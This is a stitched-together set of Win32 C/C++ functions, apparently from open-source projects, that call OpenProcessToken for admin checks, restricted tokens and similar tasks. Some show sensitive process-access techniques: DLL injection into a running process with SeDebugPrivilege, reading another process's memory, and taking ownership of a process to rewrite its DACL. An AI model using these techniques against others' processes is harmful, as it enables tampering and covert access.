hProcessToken; if (OpenProcessToken(hProcess, TOKEN_QUERY, &hProcessToken)) { DWORD data_length = 0; if (!GetTokenInformation(hProcessToken, TokenUser, NULL, 0, &data_length) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) { void* data = new byte[data_length]; if (GetTokenInformation(hProcessToken, TokenUser, data, data_length, &data_length)) { TOKEN_USER* user = static_cast<TOKEN_USER*>(data); std::tstring name(MAX_NAME, '\0'); DWORD name_length = name.size(); std::tstring domain(MAX_NAME, '\0'); DWORD domain_length = domain.size(); SID_NAME_USE type; if (LookupAccountSid(NULL, user->User.Sid, &name[0], &name_length, &domain[0], &domain_length, &type)) { name.resize(name_length); domain.resize(domain_length); _username = _T(""); if (domain.size()) { _username += domain; _username += _T("\\"); } _username += name; } else { std::tcerr << std::dec << pid << ": LookupAccountSid failed: " << std::hex << std::setw(8) << std::setfill(_T('0')) << GetLastError() << std::endl; } } else { std::tcerr << std::dec << pid << ": GetTokenInformation(2) failed: " << std::hex << std::setw(8) << std::setfill(_T('0')) << GetLastError() << std::endl; } delete data; } else { std::tcerr << std::dec << pid << ": GetTokenInformation failed: " << std::hex << std::setw(8) << std::setfill(_T('0')) << GetLastError() << std::endl; } CloseHandle(hProcessToken); } else { std::tcerr << std::dec << pid << ": OpenProcessToken failed: " << std::hex << std::setw(8) << std::setfill(_T('0')) << GetLastError() << std::endl; } CloseHandle(hProcess); } }
char* GetAccountTypeHelper(BOOL CheckTokenForGroupDeny) { char *group = NULL; HANDLE hToken = NULL; struct group { DWORD auth_id; char *name; }; struct group groups[] = { {DOMAIN_ALIAS_RID_USERS, "User"}, // every user belongs to the users group, hence users come before guests {DOMAIN_ALIAS_RID_GUESTS, "Guest"}, {DOMAIN_ALIAS_RID_POWER_USERS, "Power"}, {DOMAIN_ALIAS_RID_ADMINS, "Admin"} }; if (GetVersion() & 0x80000000) // Not NT { return "Admin"; } // First we must open a handle to the access token for this thread. if (OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hToken) || OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { SID_IDENTIFIER_AUTHORITY SystemSidAuthority = {SECURITY_NT_AUTHORITY}; TOKEN_GROUPS *ptg = NULL; BOOL ValidTokenGroups = FALSE; DWORD cbTokenGroups; DWORD i, j; if (CheckTokenForGroupDeny) // GetUserName is in advapi32.dll so we can avoid Load/Freelibrary _CheckTokenMembership= (CHECKTOKENMEMBERSHIP) GetProcAddress( GetModuleHandle("ADVAPI32"), "CheckTokenMembership"); // Use "old school" membership check? if (!CheckTokenForGroupDeny || _CheckTokenMembership == NULL) { // We must query the size of the group information associated with // the token. Note that we expect a FALSE result from GetTokenInformation // because we've given it a NULL buffer. On exit cbTokenGroups will tell // the size of the group information. if (!GetTokenInformation(hToken, TokenGroups, NULL, 0, &cbTokenGroups) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) { // Allocate buffer and ask for the group information again. // This may fail if an administrator has added this account // to an additional group between our first call to // GetTokenInformation and this one. if ((ptg = GlobalAlloc(GPTR, cbTokenGroups)) && GetTokenInformation(hToken, TokenGroups, ptg, cbTokenGroups, &cbTokenGroups)) { ValidTokenGroups=TRUE; } } } if (ValidTokenGroups || (CheckTokenForGroupDeny && _CheckTokenMembership)) { PSID psid; for (i = 0; i < sizeof(groups)/sizeof(struct group); i++) { // Create a SID for the local group and then check if it exists in our token if (AllocateAndInitializeSid( &SystemSidAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, groups[i].auth_id, 0, 0, 0, 0, 0, 0,&psid)) { BOOL IsMember = FALSE; if (CheckTokenForGroupDeny && _CheckTokenMembership) { _CheckTokenMembership(0, psid, &IsMember); } else if (ValidTokenGroups) { for (j = 0; j < ptg->GroupCount; j++) { if (EqualSid(ptg->Groups[j].Sid, psid)) { IsMember = TRUE; } } } if (IsMember) group=groups[i].name; FreeSid(psid); } } } if (ptg) GlobalFree(ptg); CloseHandle(hToken); return group; } return ""; }
int _tmain(int argc, _TCHAR* argv[]) { ARGUMENTS params = { 0 }; // Parsed program arguments HANDLE hInDev = NULL; HANDLE hOutDev = NULL; // Disk Geometry LONGLONG DiskSize = { 0 }; // disk size in bytes DWORD SectorSize; // Physical sector size std::queue <LPVOID> cola; // Thread synchronization HANDLE hMutex; HANDLE hThread[2] = { 0 }; DWORD ThreadID[2] = { 0 }; if (!ParseProgramArguments(¶ms, argc, argv)) { return 1; } BQUEUE data = { &cola, 0}; // data queue #if (_WIN32_WINNT >= _WIN32_WINNT_VISTA) HANDLE hToken; OpenProcessToken(GetCurrentProcess(), TOKEN_READ, &hToken); DWORD infoLen; TOKEN_ELEVATION elevation; GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &infoLen); if (!elevation.TokenIsElevated) { wprintf(L"This program must run in elevated mode\n"); return -1; } #else #error you are using an old version of sdk or not supported operating system #endif if (!OpenDescriptors(params.sInDev, params.sOutDev, &hInDev, &hOutDev)) { return -1; } if (!GetDescriptorGeometry(hInDev, &SectorSize, &DiskSize)) { return -1; } /* Mutex Creation */ hMutex = CreateMutex(NULL, FALSE, NULL); if (hMutex == NULL) { wprintf(L"CreateMutex() error: %d\n", GetLastError()); return -1; } /* The party start now */ wprintf(L">>> windd %s - By Luis Gonzalez Fernandez\n", VERSION); if (!params.NoDisclaimer) Disclaimer(); wprintf(L"%s => %s\n", params.sInDev, params.sOutDev); /* Reader Thread */ TPARAMS ReaderParams = { 0 }; ReaderParams.hDev = hInDev; ReaderParams.cola = &data; ReaderParams.StartOffset = params.dwSkip; // skip n bytes at input ReaderParams.EndOffset = DiskSize; if (params.dwInBs) ReaderParams.SectorSize = params.dwInBs; else ReaderParams.SectorSize = SectorSize; ReaderParams.MemBuff = params.dwBuff; ReaderParams.Mutex = hMutex; ReaderParams.DiskSize = DiskSize; ReaderParams.DataProcessed = 0; ReaderParams.Verbose = params.Verbose; hThread[0] = CreateThread(NULL, 0, ReadSect, &ReaderParams, 0, &ThreadID[0]); /* Writer Thread */ TPARAMS WriterParams = { 0 }; WriterParams.hDev = hOutDev; WriterParams.cola = &data; WriterParams.StartOffset = params.dwSeek; // seek until this offset at write. WriterParams.EndOffset = (DiskSize + params.dwSeek - params.dwSkip); if (params.dwOutBs) WriterParams.SectorSize = params.dwOutBs; else WriterParams.SectorSize = SectorSize; WriterParams.Mutex = hMutex; WriterParams.DiskSize = DiskSize; WriterParams.DataProcessed = 0; WriterParams.Verbose = params.Verbose; hThread[1] = CreateThread(NULL, 0, WriteSect, &WriterParams, 0, &ThreadID[1]); WaitForMultipleObjects(2, hThread, TRUE, INFINITE); if (ReaderParams.DataProcessed == WriterParams.DataProcessed) wprintf(L"Done!\n"); else wprintf(L"Error, %lu bytes are not copied.\n", (ReaderParams.DataProcessed - WriterParams.DataProcessed)); CloseHandle(hInDev); CloseHandle(hOutDev); return 0; }
// Basically Microsoft 118626 // Needed for vista as it fakes the admin rights on the registry and screws everything up bool CGlobalSettings::isAdmin() { static int isAd = 0; bool fReturn = false; DWORD dwStatus; DWORD dwAccessMask; DWORD dwAccessDesired; DWORD dwACLSize; DWORD dwStructureSize = sizeof(PRIVILEGE_SET); PACL pACL = NULL; PSID psidAdmin = NULL; HANDLE hToken = NULL; HANDLE hImpersonationToken = NULL; PRIVILEGE_SET ps; GENERIC_MAPPING GenericMapping; PSECURITY_DESCRIPTOR psdAdmin = NULL; SID_IDENTIFIER_AUTHORITY SystemSidAuthority = SECURITY_NT_AUTHORITY; if(isAd) return isAd>0?true:false; __try { if (!OpenThreadToken(GetCurrentThread(), TOKEN_DUPLICATE|TOKEN_QUERY, TRUE, &hToken)) { if (GetLastError() != ERROR_NO_TOKEN) __leave; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE|TOKEN_QUERY, &hToken)) __leave; } if (!DuplicateToken (hToken, SecurityImpersonation, &hImpersonationToken)) __leave; if (!AllocateAndInitializeSid(&SystemSidAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS,0, 0, 0, 0, 0, 0, &psidAdmin)) __leave; psdAdmin = LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH); if (psdAdmin == NULL) __leave; if (!InitializeSecurityDescriptor(psdAdmin, SECURITY_DESCRIPTOR_REVISION)) __leave; // Compute size needed for the ACL. dwACLSize = sizeof(ACL) + sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psidAdmin) - sizeof(DWORD); pACL = (PACL)LocalAlloc(LPTR, dwACLSize); if (pACL == NULL) __leave; if (!InitializeAcl(pACL, dwACLSize, ACL_REVISION2)) __leave; dwAccessMask = ACCESS_READ | ACCESS_WRITE; if (!AddAccessAllowedAce(pACL, ACL_REVISION2, dwAccessMask, psidAdmin)) __leave; if (!SetSecurityDescriptorDacl(psdAdmin, TRUE, pACL, FALSE)) __leave; SetSecurityDescriptorGroup(psdAdmin, psidAdmin, FALSE); SetSecurityDescriptorOwner(psdAdmin, psidAdmin, FALSE); if (!IsValidSecurityDescriptor(psdAdmin)) __leave; dwAccessDesired = ACCESS_READ; GenericMapping.GenericRead = ACCESS_READ; GenericMapping.GenericWrite = ACCESS_WRITE; GenericMapping.GenericExecute = 0; GenericMapping.GenericAll = ACCESS_READ | ACCESS_WRITE; BOOL bRet; if (!AccessCheck(psdAdmin, hImpersonationToken, dwAccessDesired, &GenericMapping, &ps, &dwStructureSize, &dwStatus, &bRet)) __leave; fReturn = bRet?true:false; } __finally { // Clean up. if (pACL) LocalFree(pACL); if (psdAdmin) LocalFree(psdAdmin); if (psidAdmin) FreeSid(psidAdmin); if (hImpersonationToken) CloseHandle (hImpersonationToken); if (hToken) CloseHandle (hToken); } isAd=fReturn?1:-1; return fReturn; }
int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "usage:\n" " inject <dllname.dll> <command> [args] ...\n" " inject <dllname.dll> <process-id>\n" " inject <dllname.dll> !<process-name>\n" ); return 1; } BOOL bAttach = FALSE; DWORD dwProcessId = ~0; if (isNumber(argv[2])) { dwProcessId = atol(argv[2]); bAttach = TRUE; } else if (argv[2][0] == '!') { const char *szProcessName = &argv[2][1]; if (!getProcessIdByName(szProcessName, &dwProcessId)) { fprintf(stderr, "error: failed to find process %s\n", szProcessName); return 1; } bAttach = TRUE; fprintf(stderr, "dwProcessId = %lu\n", dwProcessId); } HANDLE hSemaphore = NULL; const char *szDll = argv[1]; if (!USE_SHARED_MEM) { SetEnvironmentVariableA("INJECT_DLL", szDll); } else { hSemaphore = CreateSemaphore(NULL, 1, 1, "inject_semaphore"); if (hSemaphore == NULL) { fprintf(stderr, "error: failed to create semaphore\n"); return 1; } DWORD dwWait = WaitForSingleObject(hSemaphore, 0); if (dwWait == WAIT_TIMEOUT) { fprintf(stderr, "info: waiting for another inject instance to finish\n"); dwWait = WaitForSingleObject(hSemaphore, INFINITE); } if (dwWait != WAIT_OBJECT_0) { fprintf(stderr, "error: failed to enter semaphore gate\n"); return 1; } SetSharedMem(szDll); } BOOL bAttachDwm = FALSE; PROCESS_INFORMATION processInfo; HANDLE hProcess; if (bAttach) { BOOL bRet; HANDLE hToken = NULL; bRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken); if (!bRet) { fprintf(stderr, "error: OpenProcessToken returned %u\n", (unsigned)bRet); return 1; } LUID Luid; bRet = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid); if (!bRet) { fprintf(stderr, "error: LookupPrivilegeValue returned %u\n", (unsigned)bRet); return 1; } TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; tp.Privileges[0].Luid = Luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof tp, NULL, NULL); if (!bRet) { fprintf(stderr, "error: AdjustTokenPrivileges returned %u\n", (unsigned)bRet); return 1; } DWORD dwDesiredAccess = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_TERMINATE; hProcess = OpenProcess( dwDesiredAccess, FALSE /* bInheritHandle */, dwProcessId); if (!hProcess) { logLastError("failed to open process"); return 1; } char szProcess[MAX_PATH]; DWORD dwRet = GetModuleFileNameEx(hProcess, 0, szProcess, sizeof szProcess); assert(dwRet); if (dwRet && stricmp(getBaseName(szProcess), "dwm.exe") == 0) { bAttachDwm = TRUE; } } else { std::string commandLine; char sep = 0; for (int i = 2; i < argc; ++i) { const char *arg = argv[i]; if (sep) { commandLine.push_back(sep); } if (needsQuote(arg)) { quoteArg(commandLine, arg); } else { commandLine.append(arg); } sep = ' '; } STARTUPINFO startupInfo; memset(&startupInfo, 0, sizeof startupInfo); startupInfo.cb = sizeof startupInfo; // Create the process in suspended state if (!CreateProcessA( NULL, const_cast<char *>(commandLine.c_str()), // only modified by CreateProcessW 0, // process attributes 0, // thread attributes TRUE, // inherit handles CREATE_SUSPENDED, NULL, // environment NULL, // current directory &startupInfo, &processInfo)) { DWORD dwLastError = GetLastError(); fprintf(stderr, "error: failed to execute %s (%lu)\n", commandLine.c_str(), dwLastError); if (dwLastError == ERROR_ELEVATION_REQUIRED) { fprintf(stderr, "error: target program requires elevated priviledges and must be started from an Administrator Command Prompt, or UAC must be disabled\n"); } return 1; } hProcess = processInfo.hProcess; } /* * XXX: Mixed architecture don't quite work. See also * http://www.corsix.org/content/dll-injection-and-wow64 */ { typedef BOOL (WINAPI *PFNISWOW64PROCESS)(HANDLE, PBOOL); PFNISWOW64PROCESS pfnIsWow64Process; pfnIsWow64Process = (PFNISWOW64PROCESS) GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process"); if (pfnIsWow64Process) { BOOL isParentWow64 = FALSE; BOOL isChildWow64 = FALSE; if (pfnIsWow64Process(GetCurrentProcess(), &isParentWow64) && pfnIsWow64Process(hProcess, &isChildWow64) && isParentWow64 != isChildWow64) { fprintf(stderr, "error: binaries mismatch: you need to use the " #ifdef _WIN64 "32-bits" #else "64-bits" #endif " apitrace binaries to trace this application\n"); TerminateProcess(hProcess, 1); return 1; } } } if (bAttachDwm && IsWindows8OrGreater()) { // Switch to Microsoft Basic Display Driver before injecting, so that // we don't trace with it. devconDisable(DEVCON_CLASS_DISPLAY); Sleep(1000); } const char *szDllName; szDllName = "injectee.dll"; char szDllPath[MAX_PATH]; GetModuleFileNameA(NULL, szDllPath, sizeof szDllPath); getDirName(szDllPath); strncat(szDllPath, szDllName, sizeof szDllPath - strlen(szDllPath) - 1); #if 1 if (!injectDll(hProcess, szDllPath)) { TerminateProcess(hProcess, 1); return 1; } #endif DWORD exitCode; if (bAttach) { if (bAttachDwm) { restartDwmComposition(hProcess); } exitCode = 0; } else { // Start main process thread ResumeThread(processInfo.hThread); // Wait for it to finish WaitForSingleObject(hProcess, INFINITE); if (pSharedMem && !pSharedMem->bReplaced) { fprintf(stderr, "warning: %s was never used: application probably does not use this API\n", szDll); } exitCode = ~0; GetExitCodeProcess(hProcess, &exitCode); CloseHandle(processInfo.hThread); } CloseHandle(hProcess); if (hSemaphore) { ReleaseSemaphore(hSemaphore, 1, NULL); CloseHandle(hSemaphore); } return (int)exitCode; }
/* * Create a restricted token and execute the specified process with it. * * Returns restricted token on success and 0 on failure. * * On NT4, or any other system not containing the required functions, will * NOT execute anything. */ HANDLE CreateRestrictedProcess(char *cmd, PROCESS_INFORMATION *processInfo, const char *progname) { BOOL b; STARTUPINFO si; HANDLE origToken; HANDLE restrictedToken; SID_IDENTIFIER_AUTHORITY NtAuthority = {SECURITY_NT_AUTHORITY}; SID_AND_ATTRIBUTES dropSids[2]; __CreateRestrictedToken _CreateRestrictedToken = NULL; HANDLE Advapi32Handle; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); Advapi32Handle = LoadLibrary("ADVAPI32.DLL"); if (Advapi32Handle != NULL) { _CreateRestrictedToken = (__CreateRestrictedToken) GetProcAddress(Advapi32Handle, "CreateRestrictedToken"); } if (_CreateRestrictedToken == NULL) { fprintf(stderr, _("%s: WARNING: cannot create restricted tokens on this platform\n"), progname); if (Advapi32Handle != NULL) FreeLibrary(Advapi32Handle); return 0; } /* Open the current token to use as a base for the restricted one */ if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &origToken)) { fprintf(stderr, _("%s: could not open process token: error code %lu\n"), progname, GetLastError()); return 0; } /* Allocate list of SIDs to remove */ ZeroMemory(&dropSids, sizeof(dropSids)); if (!AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &dropSids[0].Sid) || !AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_POWER_USERS, 0, 0, 0, 0, 0, 0, &dropSids[1].Sid)) { fprintf(stderr, _("%s: could not allocate SIDs: error code %lu\n"), progname, GetLastError()); return 0; } b = _CreateRestrictedToken(origToken, DISABLE_MAX_PRIVILEGE, sizeof(dropSids) / sizeof(dropSids[0]), dropSids, 0, NULL, 0, NULL, &restrictedToken); FreeSid(dropSids[1].Sid); FreeSid(dropSids[0].Sid); CloseHandle(origToken); FreeLibrary(Advapi32Handle); if (!b) { fprintf(stderr, _("%s: could not create restricted token: error code %lu\n"), progname, GetLastError()); return 0; } #ifndef __CYGWIN__ AddUserToTokenDacl(restrictedToken); #endif if (!CreateProcessAsUser(restrictedToken, NULL, cmd, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &si, processInfo)) { fprintf(stderr, _("%s: could not start process for command \"%s\": error code %lu\n"), progname, cmd, GetLastError()); return 0; } ResumeThread(processInfo->hThread); return restrictedToken; }
static void *alloc_hugetlb(void *address){ void *map_address = (void *)-1; #if defined(OS_LINUX) || defined(OS_AIX) int shmid; shmid = shmget(IPC_PRIVATE, BUFFER_SIZE, #ifdef OS_LINUX SHM_HUGETLB | #endif #ifdef OS_AIX SHM_LGPAGE | SHM_PIN | #endif IPC_CREAT | SHM_R | SHM_W); if (shmid != -1) { map_address = (void *)shmat(shmid, address, SHM_RND); #ifdef OS_LINUX my_mbind(map_address, BUFFER_SIZE, MPOL_PREFERRED, NULL, 0, 0); #endif if (map_address != (void *)-1){ shmctl(shmid, IPC_RMID, 0); } } #endif #ifdef __sun__ struct memcntl_mha mha; mha.mha_cmd = MHA_MAPSIZE_BSSBRK; mha.mha_flags = 0; mha.mha_pagesize = HUGE_PAGESIZE; memcntl(NULL, 0, MC_HAT_ADVISE, (char *)&mha, 0, 0); map_address = (BLASULONG)memalign(HUGE_PAGESIZE, BUFFER_SIZE); #endif #ifdef OS_WINDOWS HANDLE hToken; TOKEN_PRIVILEGES tp; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken) != TRUE) return (void *) -1; tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (LookupPrivilegeValue(NULL, SE_LOCK_MEMORY_NAME, &tp.Privileges[0].Luid) != TRUE) return (void *) -1; if (AdjustTokenPrivileges(hToken, FALSE, (PTOKEN_PRIVILEGES)&tp, 0, NULL, NULL) != TRUE) return (void *) -1; map_address = (void *)VirtualAlloc(address, BUFFER_SIZE, MEM_LARGE_PAGES | MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); AdjustTokenPrivileges(hToken, TRUE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, NULL); if (map_address == (void *)NULL) map_address = (void *)-1; #endif if (map_address != (void *)-1){ release_info[release_pos].address = map_address; release_info[release_pos].func = alloc_hugetlb_free; release_pos ++; } return map_address; }
/* * We consider ourselves running as a service if one of the following is * true: * * 1) We are running as Local System (only used by services) * 2) Our token contains SECURITY_SERVICE_RID (automatically added to the * process token by the SCM when starting a service) * * Return values: * 0 = Not service * 1 = Service * -1 = Error * * Note: we can't report errors via either ereport (we're called too early) * or write_stderr (because that calls this). We are therefore reduced to * writing directly on stderr, which sucks, but we have few alternatives. */ int pgwin32_is_service(void) { static int _is_service = -1; HANDLE AccessToken; char *InfoBuffer = NULL; char errbuf[256]; PTOKEN_GROUPS Groups; PTOKEN_USER User; PSID ServiceSid; PSID LocalSystemSid; SID_IDENTIFIER_AUTHORITY NtAuthority = {SECURITY_NT_AUTHORITY}; UINT x; /* Only check the first time */ if (_is_service != -1) return _is_service; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_READ, &AccessToken)) { fprintf(stderr, "could not open process token: error code %d\n", (int) GetLastError()); return -1; } /* First check for local system */ if (!pgwin32_get_dynamic_tokeninfo(AccessToken, TokenUser, &InfoBuffer, errbuf, sizeof(errbuf))) { fprintf(stderr, "%s", errbuf); return -1; } User = (PTOKEN_USER) InfoBuffer; if (!AllocateAndInitializeSid(&NtAuthority, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &LocalSystemSid)) { fprintf(stderr, "could not get SID for local system account\n"); CloseHandle(AccessToken); return -1; } if (EqualSid(LocalSystemSid, User->User.Sid)) { FreeSid(LocalSystemSid); free(InfoBuffer); CloseHandle(AccessToken); _is_service = 1; return _is_service; } FreeSid(LocalSystemSid); free(InfoBuffer); /* Now check for group SID */ if (!pgwin32_get_dynamic_tokeninfo(AccessToken, TokenGroups, &InfoBuffer, errbuf, sizeof(errbuf))) { fprintf(stderr, "%s", errbuf); return -1; } Groups = (PTOKEN_GROUPS) InfoBuffer; if (!AllocateAndInitializeSid(&NtAuthority, 1, SECURITY_SERVICE_RID, 0, 0, 0, 0, 0, 0, 0, &ServiceSid)) { fprintf(stderr, "could not get SID for service group\n"); free(InfoBuffer); CloseHandle(AccessToken); return -1; } _is_service = 0; for (x = 0; x < Groups->GroupCount; x++) { if (EqualSid(ServiceSid, Groups->Groups[x].Sid)) { _is_service = 1; break; } } free(InfoBuffer); FreeSid(ServiceSid); CloseHandle(AccessToken); return _is_service; }
/* * Returns nonzero if the current user has administrative privileges, * or zero if not. * * Note: this cannot use ereport() because it's called too early during * startup. */ int pgwin32_is_admin(void) { HANDLE AccessToken; char *InfoBuffer = NULL; char errbuf[256]; PTOKEN_GROUPS Groups; PSID AdministratorsSid; PSID PowerUsersSid; SID_IDENTIFIER_AUTHORITY NtAuthority = {SECURITY_NT_AUTHORITY}; UINT x; BOOL success; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_READ, &AccessToken)) { write_stderr("could not open process token: error code %d\n", (int) GetLastError()); exit(1); } if (!pgwin32_get_dynamic_tokeninfo(AccessToken, TokenGroups, &InfoBuffer, errbuf, sizeof(errbuf))) { write_stderr("%s", errbuf); exit(1); } Groups = (PTOKEN_GROUPS) InfoBuffer; CloseHandle(AccessToken); if (!AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsSid)) { write_stderr("could not get SID for Administrators group: error code %d\n", (int) GetLastError()); exit(1); } if (!AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_POWER_USERS, 0, 0, 0, 0, 0, 0, &PowerUsersSid)) { write_stderr("could not get SID for PowerUsers group: error code %d\n", (int) GetLastError()); exit(1); } success = FALSE; for (x = 0; x < Groups->GroupCount; x++) { if ((EqualSid(AdministratorsSid, Groups->Groups[x].Sid) && (Groups->Groups[x].Attributes & SE_GROUP_ENABLED)) || (EqualSid(PowerUsersSid, Groups->Groups[x].Sid) && (Groups->Groups[x].Attributes & SE_GROUP_ENABLED))) { success = TRUE; break; } } free(InfoBuffer); FreeSid(AdministratorsSid); FreeSid(PowerUsersSid); return success; }
int yr_process_get_memory( int pid, YR_MEMORY_BLOCK** first_block) { PVOID address; SIZE_T read; unsigned char* data; int result = ERROR_SUCCESS; SYSTEM_INFO si; MEMORY_BASIC_INFORMATION mbi; YR_MEMORY_BLOCK* new_block; YR_MEMORY_BLOCK* current_block = NULL; TOKEN_PRIVILEGES tokenPriv; LUID luidDebug; HANDLE hProcess = NULL; HANDLE hToken = NULL; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken) && LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidDebug)) { tokenPriv.PrivilegeCount = 1; tokenPriv.Privileges[0].Luid = luidDebug; tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges( hToken, FALSE, &tokenPriv, sizeof(tokenPriv), NULL, NULL); } hProcess = OpenProcess( PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pid); *first_block = NULL; if (hProcess == NULL) { if (hToken != NULL) CloseHandle(hToken); return ERROR_COULD_NOT_ATTACH_TO_PROCESS; } GetSystemInfo(&si); address = si.lpMinimumApplicationAddress; while (address < si.lpMaximumApplicationAddress && VirtualQueryEx(hProcess, address, &mbi, sizeof(mbi)) != 0) { if (mbi.State == MEM_COMMIT && ((mbi.Protect & PAGE_NOACCESS) == 0)) { data = (unsigned char*) yr_malloc(mbi.RegionSize); if (data == NULL) { result = ERROR_INSUFICIENT_MEMORY; break; } if (ReadProcessMemory( hProcess, mbi.BaseAddress, data, mbi.RegionSize, &read)) { new_block = (YR_MEMORY_BLOCK*) yr_malloc(sizeof(YR_MEMORY_BLOCK)); if (new_block == NULL) { yr_free(data); result = ERROR_INSUFICIENT_MEMORY; break; } if (*first_block == NULL) *first_block = new_block; new_block->base = (size_t) mbi.BaseAddress; new_block->size = mbi.RegionSize; new_block->data = data; new_block->next = NULL; if (current_block != NULL) current_block->next = new_block; current_block = new_block; } else { yr_free(data); } } address = (PVOID)((ULONG_PTR) mbi.BaseAddress + mbi.RegionSize); } if (hToken != NULL) CloseHandle(hToken); if (hProcess != NULL) CloseHandle(hProcess); return result; }
HANDLE GetProcessHandleWithEnoughRights(DWORD PID, DWORD AccessRights) { HANDLE hProcess = ::OpenProcess(AccessRights, FALSE, PID); if (hProcess == NULL) { HANDLE hpWriteDAC = OpenProcess(WRITE_DAC, FALSE, PID); if (hpWriteDAC == NULL) { // hmm, we don't have permissions to modify the DACL... // time to take ownership... HANDLE htok; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &htok)) return(FALSE); TOKEN_PRIVILEGES tpOld; if (EnableTokenPrivilege(htok, SE_TAKE_OWNERSHIP_NAME, tpOld)) { // SeTakeOwnershipPrivilege allows us to open objects with // WRITE_OWNER, but that's about it, so we'll update the owner, // and dup the handle so we can get WRITE_DAC permissions. HANDLE hpWriteOwner = OpenProcess(WRITE_OWNER, FALSE, PID); if (hpWriteOwner != NULL) { BYTE buf[512]; // this should always be big enough DWORD cb = sizeof buf; if (GetTokenInformation(htok, TokenUser, buf, cb, &cb)) { DWORD err = SetSecurityInfo( hpWriteOwner, SE_KERNEL_OBJECT, OWNER_SECURITY_INFORMATION, reinterpret_cast<TOKEN_USER*>(buf)->User.Sid, 0, 0, 0 ); if (err == ERROR_SUCCESS) { // now that we're the owner, we've implicitly got WRITE_DAC // permissions, so ask the system to reevaluate our request, // giving us a handle with WRITE_DAC permissions if ( !DuplicateHandle( GetCurrentProcess(), hpWriteOwner, GetCurrentProcess(), &hpWriteDAC, WRITE_DAC, FALSE, 0 ) ) hpWriteDAC = NULL; } } // don't forget to close handle ::CloseHandle(hpWriteOwner); } // not truly necessary in this app, // but included for completeness RestoreTokenPrivilege(htok, tpOld); } // don't forget to close the token handle ::CloseHandle(htok); } if (hpWriteDAC) { // we've now got a handle that allows us WRITE_DAC permission AdjustDacl(hpWriteDAC, AccessRights); // now that we've granted ourselves permission to access // the process, ask the system to reevaluate our request, // giving us a handle with right permissions if ( !DuplicateHandle( GetCurrentProcess(), hpWriteDAC, GetCurrentProcess(), &hProcess, AccessRights, FALSE, 0 ) ) hProcess = NULL; CloseHandle(hpWriteDAC); } } return(hProcess); }
BOOL OsIsAdmin(void) { BOOL fReturn = FALSE; DWORD dwStatus; DWORD dwAccessMask; DWORD dwAccessDesired; DWORD dwACLSize; DWORD dwStructureSize = sizeof(PRIVILEGE_SET); PACL pACL = NULL; PSID psidAdmin = NULL; HANDLE hToken = NULL; HANDLE hImpersonationToken = NULL; PRIVILEGE_SET ps; GENERIC_MAPPING GenericMapping; PSECURITY_DESCRIPTOR psdAdmin = NULL; SID_IDENTIFIER_AUTHORITY SystemSidAuthority = SECURITY_NT_AUTHORITY; const DWORD ACCESS_READ = 1; const DWORD ACCESS_WRITE = 2; __try { /* AccessCheck() requires an impersonation token. We first get a primary token and then create a duplicate impersonation token. The impersonation token is not actually assigned to the thread, but is used in the call to AccessCheck. Thus, this function itself never impersonates, but does use the identity of the thread. If the thread was impersonating already, this function uses that impersonation context. */ if (!OpenThreadToken(GetCurrentThread(), TOKEN_DUPLICATE|TOKEN_QUERY, TRUE, &hToken)) { if (GetLastError() != ERROR_NO_TOKEN) __leave; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE|TOKEN_QUERY, &hToken)) __leave; } if (!DuplicateToken (hToken, SecurityImpersonation, &hImpersonationToken)) __leave; /* Create the binary representation of the well-known SID that represents the local administrators group. Then create the security descriptor and DACL with an ACE that allows only local admins access. After that, perform the access check. This will determine whether the current user is a local admin. */ if (!AllocateAndInitializeSid(&SystemSidAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &psidAdmin)) __leave; 